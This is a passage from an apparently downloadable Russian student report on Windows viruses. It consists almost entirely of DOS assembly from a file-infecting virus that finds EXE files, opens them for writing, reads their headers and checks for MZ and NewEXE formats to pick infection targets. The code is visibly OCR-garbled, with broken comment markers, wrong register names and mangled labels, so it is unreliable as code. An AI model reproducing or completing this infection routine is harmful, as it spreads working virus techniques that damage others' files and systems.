Доклад: Вирусы под Windows

.Запустим программу-носитель
jmp exit

.Перейдем к следующему файлу - этот не подходит
close_exe:

; Закроем файл
mov ah,3Eh
int 21h

;Найдем следующий файл
mov ah,4Fh
int 21h

;Если файл найден, перейдем к заражению, иначе освободим
-.выделенную область памяти и запустим программу-носитель
jnc found_exe

;0свободим выделенную область памяти
call free

;3апустим программу-носитель
jmp exit

;Файл найден, проверим его на пригодность к заражению
found ехе:

;0ткроем файл для чтения и записи
push ds

Ids dx, DWORD PTR [DTA]
add dx.lEh
mov ax,3D02h
int 21 h
pop ds

.Прочтем старый заголовок
mov dx.OFFSET old_hdr
mov bx.ax
mov cx,40h
mov ah,3Fh
int 21h

;Проверим сигнатуру, это ЕХЕ-файл?
cmp WORD PTR [old_hdr],"ZM"
jne close_exe

[Проверим смещение таблицы настройки адресов.

;Если значение больше 40h, то это не обычный ЕХЕ-файл.

;Не будем сразу делать вывод,

;что это NewEXE, потому^что это может оказаться

;РЕ-, LE-, LX-executable или другой

;(PE-executable описан в разделе,

[посвященном Windows 95, остальные

;типы ЕХЕ-файлов в этой книге не рассматриваются)

cmp [old_hdr+18h],WORD PTR 40h

jb close_exe

.Перейдем ко второму заголовку (может быть, это NewEXE?):

Переводим указатель к смещению, обозначенному в поле 3Ch

mov dx.WORD PTR [old_hdr+3Ch]

mov cx.WORD PTR [old_hdr+3Eh]

mov ax,4200h

int 21h

; Прочитаем второй заголовок
mov dx.OFFSET newJ-idr
mov ex,40h
mov ah,3fh
int 21h

К-во Просмотров: 951
Бесплатно скачать Доклад: Вирусы под Windows